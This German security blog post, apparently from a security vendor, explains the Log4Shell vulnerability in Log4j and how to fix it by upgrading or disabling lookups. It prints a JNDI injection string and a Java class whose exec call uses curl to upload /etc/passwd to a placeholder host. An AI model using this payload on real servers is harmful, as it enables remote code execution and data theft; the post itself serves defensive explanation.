Die Log4j-Sicherheitslücke erklärt: Log4Shell-RCE durch Update auf Version 2.17.1 verhindern

Heute (10. Dez. 2021) wurde eine neue kritische Sicherheitslücke in Log4j bekannt gegeben: Log4Shell. Diese Sicherheitslücke im beliebten Java-Logging-Framework wurde als CVE-2021-44228 veröffentlicht und als Critical mit einem CVSS-Score von 10 (dem höchstmöglichen Wert) eingestuft. Entdeckt wurde die Sicherheitslücke von Chen Zhaojun vom Cloud-Sicherheitsteam von Alibaba.

Fast alle Versionen von Log4j 2 sind betroffen. Sie sollten zur Behebung auf Version 2.17.1 aktualisieren. Eine vollständige Anleitung zur Behebung finden Sie in unserem Log4Shell-Leitfaden zur Behebung.

Viele Anwendungs-Frameworks im Java-Ökosystem verwenden dieses Logging-Framework standardmäßig. Betroffen sind beispielsweise Apache Struts 2, Apache Solr und Apache Druid. Darüber hinaus kommt Apache Log4j in zahlreichen Spring- und Spring-Boot-Anwendungen zum Einsatz. Wir empfehlen Ihnen daher, Ihre Anwendungen zu überprüfen und auf die neueste Version zu aktualisieren.

Wie schwerwiegend ist Log4Shell?

Die kurze Antwort lautet: „sehr schwerwiegend“! Die Log4Shell-Sicherheitslücke wurde zuerst in Minecraft entdeckt. Microsoft veröffentlichte umgehend einen Notfall-Patch, um das Problem schnell zu beheben. TechCrunch berichtet, dass Apple, Amazon, Twitter und Cloudflare für Log4Shell-Angriffe anfällig sind. Laut TechCrunch haben „das Computer Emergency Response Team (CERT) aus Neuseeland, das CERT der Deutschen Telekom und der Webüberwachungsdienst Greynoise alle davor gewarnt, dass Angreifer aktiv nach Servern suchen, die für Log4Shell-Angriffe anfällig sind. Dem letztgenannten Dienst zufolge scannen rund 100 verschiedene Hosts das Internet nach Möglichkeiten, die Log4j-Sicherheitslücke auszunutzen.“

Die Log4Shell-Sicherheitslücke erklärt

Bei Verwendung einer anfälligen Log4j-Version können beliebige eingehende Daten, die protokolliert werden, zu RCE (Remote Code Execution) führen. Wird JNDI (Java Naming and Directory Interface) beispielsweise verwendet, um eine LDAP-URL aufzurufen und zu protokollieren (siehe unten), lässt sich über eine Code-Injection eine schädliche Payload zurückgeben.

Sehen Sie sich im folgenden Codeausschnitt das von einem Benutzer übergebene Argument an. Entspricht das Argument nicht den Anforderungen, protokollieren wir einen Fehler. Lautet die Benutzereingabe jedoch "${jndi:ldap://someurl/Evil}”, lösen wir die Log4Shell-Sicherheitslücke aus, da wir wissen, dass sie als Fehler protokolliert wird.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)
5}

Wenn Sie wissen, dass eine Eingabe mit Log4j protokolliert wird, können Sie einen LDAP-Server einrichten und eine kompilierte Klassendatei zurückgeben, die Code ausführt. Ein Beispiel für eine solche Klasse sehen Sie unten. Dieses Objekt sendet meine Datei /etc/passwđ mithilfe von curl an eine externe URL. Beachten Sie, dass sich diese Benutzereingabe beispielsweise im Header eines HTTP-Aufrufs verbergen kann. Sobald der Logger die Zeichenfolge auswertet, wird der Aufruf des schädlichen LDAP-Servers ausgeführt.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }
7}

Laut diesem Artikel von Luncasec zu diesem Problem sind alle Java-Versionen betroffen. JDK-Versionen höher als 6u211, 7u201, 8u191 und 11.0.1 schienen von diesem LDAP-Angriff nicht betroffen zu sein, da diese Versionen com.sun.jndi.ldap.object.trustURLCodebase standardmäßig auf false setzen. Ist die vom LDAP-Server zurückgegebene Klasse jedoch bereits im Klassenpfad verfügbar, wird sie auch in neueren JDK-Versionen ausgeführt – selbst wenn com.sun.jndi.ldap.object.trustURLCodebase auf false gesetzt ist.

Das bedeutet: Wenn in der Anwendung eine Gadget-Kette für die Deserialisierung verfügbar ist, lässt sich diese Deserialisierung auslösen und so Remote Code Execution ermöglichen. Ein bekanntes Beispiel ist die Bibliothek Apache Commons Collections 3.1, die eine Gadget-Kette enthält. Eine solche Kette kann sich aber auch aus einer Kombination von Bibliotheken und Klassen in Ihren Anwendungen ergeben. Weitere Informationen zu Problemen mit der Deserialisierung finden Sie in unserem Blogbeitrag Serialisierung und Deserialisierung in Java: Die Java-Deserialisierungs-Sicherheitslücke erklärt. Fazit: Alle Java-Versionen sind von diesem Angriff betroffen!

Die Log4Shell-Sicherheitslücke beheben

Am einfachsten beheben Sie das Problem, indem Sie auf Log4j Version 2.17.1 oder höher aktualisieren, da dieses Verhalten nun standardmäßig deaktiviert ist. In früheren Releases (>2.10) lässt sich das Verhalten abschwächen, indem Sie die Systemeigenschaft log4j2.formatMsgNoLookups auf true setzen. Fügen Sie dazu den folgenden Java-Parameter hinzu: -Dlog4j2.formatMsgNoLookups=true

Alternativ können Sie die Sicherheitslücke entschärfen, indem Sie die Klasse JndiLookup aus dem Klassenpfad entfernen.

In unserem Leitfaden erfahren Sie, wie Sie Log4Shell-Sicherheitslücken mit Snyk finden und beheben.

Sicherheitslücken durch Scannen und Aktualisieren verhindern

Diese Log4j-Sicherheitslücke zeigt erneut, wie wichtig es ist, Ihre Anwendungen auf Sicherheitslücken zu scannen und dies regelmäßig zu tun, um Ihre Software-Supply-Chain zu schützen. Außerdem sollten Sie Ihre Java-Distribution auf die neueste Version aktualisieren, um von den aktuellen Sicherheitsupdates zu profitieren.

Wenn Sie Ihre Anwendung mit Snyk Open Source scannen, werden Ihnen Sicherheitslücken in Ihren Open-Source-Bibliotheken angezeigt, darunter auch dieses Problem mit Log4j. Das folgende Beispiel zeigt die Ausgabe meines IntelliJ-IDEA-Plugins mit einem Hinweis auf dieses Problem und Empfehlungen zur Behebung.

Ist Log4j anfällig?

Ja. Alle Log4j-Versionen ab 2.0-beta9 bis einschließlich 2.14.1 sind von der Log4Shell-Sicherheitslücke betroffen. Es handelt sich um eine kritische Sicherheitslücke, die sofortiges Handeln erfordert. Sie kann zu Remote-Code-Execution-Angriffen (RCE) führen.

Wo wird Log4j verwendet?

Log4j kommt bei zahlreichen Anbietern, Open-Source-Projekten, Frameworks und großen Foundation-Projekten zum Einsatz. Neben den Millionen von Java-Anwendungen, die Log4j verwenden, nutzen auch viele eigene Projekte der Apache Software Foundation Log4j, darunter Apache Solr, Apache Struts 2, Apache Kafka, Apache Druid, Apache Flink, Apache Swift und weitere.

Wie lässt sich Log4j überprüfen?

Alle Versionen ab 2.0-beta9 bis einschließlich 2.14.1 sind von der neuen Sicherheitslücke betroffen. Snyk zeigt Ihnen, ob Sie anfällige Versionen des Pakets verwenden und ob diese als direkte oder transitive Abhängigkeit in Ihren Abhängigkeitsgraphen gelangen. Mit Snyk können Sie Log4Shell außerdem automatisch in Ihrem gesamten SDLC beheben.

Wie lässt sich die Log4j-Sicherheitslücke beheben?

Am einfachsten beheben Sie das Problem, indem Sie auf Log4j Version 2.17.1 oder höher aktualisieren, da dieses Verhalten nun standardmäßig deaktiviert ist. Version 2.17.1 behebt außerdem CVE-2021-45046. Diese Log4j-Sicherheitslücke zeigt erneut, wie wichtig es ist, Ihre Anwendungen auf Sicherheitslücken zu scannen und dies regelmäßig zu tun, um Ihre Software-Supply-Chain zu schützen. Weitere Empfehlungen zur Behebung finden Sie in unserem Log4Shell-Leitfaden zur Behebung.